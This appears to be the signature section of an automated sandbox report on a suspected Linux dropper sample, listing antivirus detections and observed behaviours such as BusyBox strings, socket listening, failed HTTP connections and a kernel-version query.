Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
